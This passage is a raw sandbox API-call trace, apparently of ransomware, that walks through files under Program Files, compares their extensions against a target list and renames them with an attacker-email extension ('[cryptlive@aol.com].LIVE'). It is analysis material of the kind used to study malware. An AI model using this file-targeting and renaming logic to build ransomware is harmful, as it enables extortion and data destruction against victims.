lpFileSize=0x314ff1c*=2578) returned 1 [0131.276] CloseHandle (hObject=0x36c) returned 1 [0131.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0131.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.276] lstrlenW (lpString=".doc") returned 4 [0131.276] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.276] lstrlenW (lpString=".docx") returned 5 [0131.276] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0131.277] lstrlenW (lpString=".pdf") returned 4 [0131.277] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.277] lstrlenW (lpString=".xls") returned 4 [0131.277] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.277] lstrlenW (lpString=".xlsx") returned 5 [0131.277] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0131.277] lstrlenW (lpString=".ppt") returned 4 [0131.277] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.277] lstrlenW (lpString=".zip") returned 4 [0131.277] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.277] lstrlenW (lpString=".rar") returned 4 [0131.277] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.277] lstrlenW (lpString=".bz2") returned 4 [0131.277] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.277] lstrlenW (lpString=".7z") returned 3 [0131.277] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.277] lstrlenW (lpString=".dbf") returned 4 [0131.277] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.277] lstrlenW (lpString=".1cd") returned 4 [0131.277] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.277] lstrlenW (lpString=".jpg") returned 4 [0131.277] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.278] lstrlenW (lpString=".doc") returned 4 [0131.278] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.278] lstrlenW (lpString=".docx") returned 5 [0131.278] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0131.278] lstrlenW (lpString=".pdf") returned 4 [0131.278] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.278] lstrlenW (lpString=".xls") returned 4 [0131.278] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.278] lstrlenW (lpString=".xlsx") returned 5 [0131.278] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0131.278] lstrlenW (lpString=".ppt") returned 4 [0131.278] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.278] lstrlenW (lpString=".zip") returned 4 [0131.278] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.278] lstrlenW (lpString=".rar") returned 4 [0131.278] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.278] lstrlenW (lpString=".bz2") returned 4 [0131.278] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.278] lstrlenW (lpString=".7z") returned 3 [0131.278] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.278] lstrlenW (lpString=".dbf") returned 4 [0131.278] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.278] lstrlenW (lpString=".1cd") returned 4 [0131.278] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0131.279] lstrlenW (lpString=".jpg") returned 4 [0131.279] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.279] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.279] lstrlenW (lpString="ipsesp.xml") returned 10 [0131.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.279] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3024) returned 1 [0131.279] CloseHandle (hObject=0x36c) returned 1 [0131.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0131.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.280] lstrlenW (lpString=".doc") returned 4 [0131.280] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.280] lstrlenW (lpString=".docx") returned 5 [0131.280] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0131.280] lstrlenW (lpString=".pdf") returned 4 [0131.280] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.280] lstrlenW (lpString=".xls") returned 4 [0131.280] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.280] lstrlenW (lpString=".xlsx") returned 5 [0131.280] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0131.280] lstrlenW (lpString=".ppt") returned 4 [0131.280] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.280] lstrlenW (lpString=".zip") returned 4 [0131.280] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.280] lstrlenW (lpString=".rar") returned 4 [0131.280] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.281] lstrlenW (lpString=".bz2") returned 4 [0131.281] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.281] lstrlenW (lpString=".7z") returned 3 [0131.281] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.281] lstrlenW (lpString=".dbf") returned 4 [0131.281] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.281] lstrlenW (lpString=".1cd") returned 4 [0131.281] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.281] lstrlenW (lpString=".jpg") returned 4 [0131.281] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.281] lstrlenW (lpString=".doc") returned 4 [0131.281] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.281] lstrlenW (lpString=".docx") returned 5 [0131.281] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0131.281] lstrlenW (lpString=".pdf") returned 4 [0131.281] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.281] lstrlenW (lpString=".xls") returned 4 [0131.281] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.282] lstrlenW (lpString=".xlsx") returned 5 [0131.282] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0131.282] lstrlenW (lpString=".ppt") returned 4 [0131.282] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.282] lstrlenW (lpString=".zip") returned 4 [0131.282] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.282] lstrlenW (lpString=".rar") returned 4 [0131.282] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.282] lstrlenW (lpString=".bz2") returned 4 [0131.282] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.282] lstrlenW (lpString=".7z") returned 3 [0131.282] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.282] lstrlenW (lpString=".dbf") returned 4 [0131.282] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.282] lstrlenW (lpString=".1cd") returned 4 [0131.282] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0131.282] lstrlenW (lpString=".jpg") returned 4 [0131.283] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.283] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.283] lstrlenW (lpString="ipsfin.xml") returned 10 [0131.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.283] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2658) returned 1 [0131.283] CloseHandle (hObject=0x36c) returned 1 [0131.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0131.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.284] lstrlenW (lpString=".doc") returned 4 [0131.284] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.284] lstrlenW (lpString=".docx") returned 5 [0131.284] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0131.284] lstrlenW (lpString=".pdf") returned 4 [0131.284] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.284] lstrlenW (lpString=".xls") returned 4 [0131.284] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.284] lstrlenW (lpString=".xlsx") returned 5 [0131.284] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0131.284] lstrlenW (lpString=".ppt") returned 4 [0131.284] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.284] lstrlenW (lpString=".zip") returned 4 [0131.284] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.284] lstrlenW (lpString=".rar") returned 4 [0131.284] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.284] lstrlenW (lpString=".bz2") returned 4 [0131.284] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.284] lstrlenW (lpString=".7z") returned 3 [0131.284] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.284] lstrlenW (lpString=".dbf") returned 4 [0131.284] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.284] lstrlenW (lpString=".1cd") returned 4 [0131.284] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.284] lstrlenW (lpString=".jpg") returned 4 [0131.284] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.285] lstrlenW (lpString=".doc") returned 4 [0131.285] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.285] lstrlenW (lpString=".docx") returned 5 [0131.285] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0131.285] lstrlenW (lpString=".pdf") returned 4 [0131.285] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.285] lstrlenW (lpString=".xls") returned 4 [0131.285] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.285] lstrlenW (lpString=".xlsx") returned 5 [0131.285] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0131.285] lstrlenW (lpString=".ppt") returned 4 [0131.285] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.285] lstrlenW (lpString=".zip") returned 4 [0131.285] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.285] lstrlenW (lpString=".rar") returned 4 [0131.285] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.285] lstrlenW (lpString=".bz2") returned 4 [0131.285] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.285] lstrlenW (lpString=".7z") returned 3 [0131.285] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.285] lstrlenW (lpString=".dbf") returned 4 [0131.285] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.285] lstrlenW (lpString=".1cd") returned 4 [0131.285] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0131.285] lstrlenW (lpString=".jpg") returned 4 [0131.285] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.286] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.286] lstrlenW (lpString="ipsfra.xml") returned 10 [0131.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.348] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2628) returned 1 [0131.348] CloseHandle (hObject=0x36c) returned 1 [0131.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0131.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.379] lstrlenW (lpString=".doc") returned 4 [0131.379] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.379] lstrlenW (lpString=".docx") returned 5 [0131.379] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0131.379] lstrlenW (lpString=".pdf") returned 4 [0131.379] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.379] lstrlenW (lpString=".xls") returned 4 [0131.379] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.379] lstrlenW (lpString=".xlsx") returned 5 [0131.379] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0131.379] lstrlenW (lpString=".ppt") returned 4 [0131.379] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.379] lstrlenW (lpString=".zip") returned 4 [0131.379] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.379] lstrlenW (lpString=".rar") returned 4 [0131.380] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.380] lstrlenW (lpString=".bz2") returned 4 [0131.380] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.380] lstrlenW (lpString=".7z") returned 3 [0131.380] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.380] lstrlenW (lpString=".dbf") returned 4 [0131.380] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.380] lstrlenW (lpString=".1cd") returned 4 [0131.380] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.380] lstrlenW (lpString=".jpg") returned 4 [0131.380] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.380] lstrlenW (lpString=".doc") returned 4 [0131.380] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.380] lstrlenW (lpString=".docx") returned 5 [0131.380] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0131.380] lstrlenW (lpString=".pdf") returned 4 [0131.380] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.380] lstrlenW (lpString=".xls") returned 4 [0131.380] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.380] lstrlenW (lpString=".xlsx") returned 5 [0131.380] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0131.380] lstrlenW (lpString=".ppt") returned 4 [0131.380] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.380] lstrlenW (lpString=".zip") returned 4 [0131.380] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.380] lstrlenW (lpString=".rar") returned 4 [0131.380] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.380] lstrlenW (lpString=".bz2") returned 4 [0131.380] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.381] lstrlenW (lpString=".7z") returned 3 [0131.381] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.381] lstrlenW (lpString=".dbf") returned 4 [0131.381] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.381] lstrlenW (lpString=".1cd") returned 4 [0131.381] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0131.381] lstrlenW (lpString=".jpg") returned 4 [0131.381] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.381] lstrcmpiW (lpString1=".wmv", lpString2=".LIVE") returned 1 [0131.381] lstrlenW (lpString="bear_formatted_matte2.wmv") returned 25 [0131.381] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.383] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=181298) returned 1 [0131.383] CloseHandle (hObject=0x36c) returned 1 [0131.383] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv")) returned 0x20 [0131.383] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.383] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.383] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0131.383] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0131.383] lstrlenW (lpString=".doc") returned 4 [0131.383] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0131.383] lstrlenW (lpString=".docx") returned 5 [0131.383] lstrcmpiW (lpString1=".docx", lpString2="2.wmv") returned -1 [0131.383] lstrlenW (lpString=".pdf") returned 4 [0131.383] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0131.384] lstrlenW (lpString=".xls") returned 4 [0131.384] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0131.384] lstrlenW (lpString=".xlsx") returned 5 [0131.384] lstrcmpiW (lpString1=".xlsx", lpString2="2.wmv") returned -1 [0131.384] lstrlenW (lpString=".ppt") returned 4 [0131.384] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0131.384] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0131.384] lstrlenW (lpString=".zip") returned 4 [0131.384] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0131.384] lstrlenW (lpString=".rar") returned 4 [0131.384] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0131.384] lstrlenW (lpString=".bz2") returned 4 [0131.384] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0131.384] lstrlenW (lpString=".7z") returned 3 [0131.384] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0131.384] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0131.384] lstrlenW (lpString=".dbf") returned 4 [0131.384] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0132.236] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0132.236] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd 